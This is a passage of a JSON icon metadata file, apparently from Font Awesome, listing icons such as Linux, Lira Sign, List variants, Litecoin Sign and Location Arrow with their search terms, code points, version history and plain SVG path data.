    },
    "styles": ["brands"],
    "unicode": "f17c",
    "label": "Linux",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z"
      }
    },
    "free": ["brands"]
  },
  "lira-sign": {
    "aliases": {
      "unicodes": {
        "composite": ["20a4"],
        "secondary": ["10f195"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Lira Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f195",
    "label": "Lira Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H46c-2.2 10.5-6.1 20.6-11.7 29.9L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1c11.6-19.3 18.9-40.7 21.6-62.9H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H46c-2.2 10.5-6.1 20.6-11.7 29.9L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1c11.6-19.3 18.9-40.7 21.6-62.9H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z"
      }
    },
    "free": ["solid"]
  },
  "list": {
    "aliases": {
      "names": ["list-squares"],
      "unicodes": {
        "secondary": ["10f03a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f03a",
    "label": "List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M40 48C26.7 48 16 58.7 16 72v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V72c0-13.3-10.7-24-24-24H40zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM16 232v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V232c0-13.3-10.7-24-24-24H40c-13.3 0-24 10.7-24 24zM40 368c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V392c0-13.3-10.7-24-24-24H40z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M40 48C26.7 48 16 58.7 16 72v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V72c0-13.3-10.7-24-24-24H40zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM16 232v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V232c0-13.3-10.7-24-24-24H40c-13.3 0-24 10.7-24 24zM40 368c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24H88c13.3 0 24-10.7 24-24V392c0-13.3-10.7-24-24-24H40z"
      }
    },
    "free": ["solid"]
  },
  "list-check": {
    "aliases": {
      "names": ["tasks"],
      "unicodes": {
        "secondary": ["10f0ae"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "downloading",
        "downloads",
        "loading",
        "progress",
        "project management",
        "settings",
        "to do"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ae",
    "label": "List Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H256c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "list-ol": {
    "aliases": {
      "names": ["list-1-2", "list-numeric"],
      "unicodes": {
        "secondary": ["10f0cb"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "numbers",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0cb",
    "label": "List Ol",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 56c0-13.3 10.7-24 24-24H80c13.3 0 24 10.7 24 24V176h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H56V80H48C34.7 80 24 69.3 24 56zM86.7 341.2c-6.5-7.4-18.3-6.9-24 1.2L51.5 357.9c-7.7 10.8-22.7 13.3-33.5 5.6s-13.3-22.7-5.6-33.5l11.1-15.6c23.7-33.2 72.3-35.6 99.2-4.9c21.3 24.4 20.8 60.9-1.1 84.7L86.8 432H120c13.3 0 24 10.7 24 24s-10.7 24-24 24H32c-9.5 0-18.2-5.6-22-14.4s-2.1-18.9 4.3-25.9l72-78c5.3-5.8 5.4-14.6 .3-20.5zM224 64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 56c0-13.3 10.7-24 24-24H80c13.3 0 24 10.7 24 24V176h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H40c-13.3 0-24-10.7-24-24s10.7-24 24-24H56V80H48C34.7 80 24 69.3 24 56zM86.7 341.2c-6.5-7.4-18.3-6.9-24 1.2L51.5 357.9c-7.7 10.8-22.7 13.3-33.5 5.6s-13.3-22.7-5.6-33.5l11.1-15.6c23.7-33.2 72.3-35.6 99.2-4.9c21.3 24.4 20.8 60.9-1.1 84.7L86.8 432H120c13.3 0 24 10.7 24 24s-10.7 24-24 24H32c-9.5 0-18.2-5.6-22-14.4s-2.1-18.9 4.3-25.9l72-78c5.3-5.8 5.4-14.6 .3-20.5zM224 64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zm0 160H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "list-ul": {
    "aliases": {
      "names": ["list-dots"],
      "unicodes": {
        "secondary": ["10f0ca"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ca",
    "label": "List Ul",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 144a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM64 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48-208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 144a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM192 64c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zm0 160c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H192zM64 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48-208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "litecoin-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e1d3",
    "label": "Litecoin Sign",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M128 64c0-17.7-14.3-32-32-32S64 46.3 64 64V213.6L23.2 225.2c-17 4.9-26.8 22.6-22 39.6s22.6 26.8 39.6 22L64 280.1V448c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V261.9l136.8-39.1c17-4.9 26.8-22.6 22-39.6s-22.6-26.8-39.6-22L128 195.3V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M128 64c0-17.7-14.3-32-32-32S64 46.3 64 64V213.6L23.2 225.2c-17 4.9-26.8 22.6-22 39.6s22.6 26.8 39.6 22L64 280.1V448c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V261.9l136.8-39.1c17-4.9 26.8-22.6 22-39.6s-22.6-26.8-39.6-22L128 195.3V64z"
      }
    },
    "free": ["solid"]
  },
  "location-arrow": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f124"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "compass",
        "coordinate",
        "direction",
        "gps",
        "map",
        "navigation",
        "place"
      ]
    },
    "styles": ["solid"],
    "unicode": "f124",
    "label": "Location Arrow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M429.6 92.1c4.9-11.9 2.1-25.6-7-34.7s-22.8-11.9-34.7-7l-352 144c-14.2 5.8-22.2 20.8-19.3 35.8s16.1 25.8 31.4 25.8H224V432c0 15.3 10.8 28.4 25.8 31.4s30-5.1 35.8-19.3l144-352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M429.6 92.1c4.9-11.9 2.1-25.6-7-34.7s-22.8-11.9-34.7-7l-352 144c-14.2 5.8-22.2 20.8-19.3 35.8s16.1 25.8 31.4 25.8H224V432c0 15.3 10.8 28.4 25.8 31.4s30-5.1 35.8-19.3l144-352z"
      }
    },
    "free": ["solid"]
  },
  "location-crosshairs": {
    "aliases": {
      "names": ["location"],
      "unicodes": {
        "secondary": ["10f601"]
      }
    },
    "changes": [
      "5.2.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinate",
        "direction",
        "gps",
        "location",
        "map",
        "navigation",
        "place",
        "where"
      ]
    },
    "styles": ["solid"],
    "unicode": "f601",
    "label": "Location Crosshairs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c17.7 0 32 14.3 32 32V66.7C368.4 80.1 431.9 143.6 445.3 224H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H445.3C431.9 368.4 368.4 431.9 288 445.3V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C143.6 431.9 80.1 368.4 66.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H66.7C80.1 143.6 143.6 80.1 224 66.7V32c0-17.7 14.3-32 32-32zM128 256a128 128 0 1 0 256 0 128 128 0 1 0 -256 0zm128-80a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
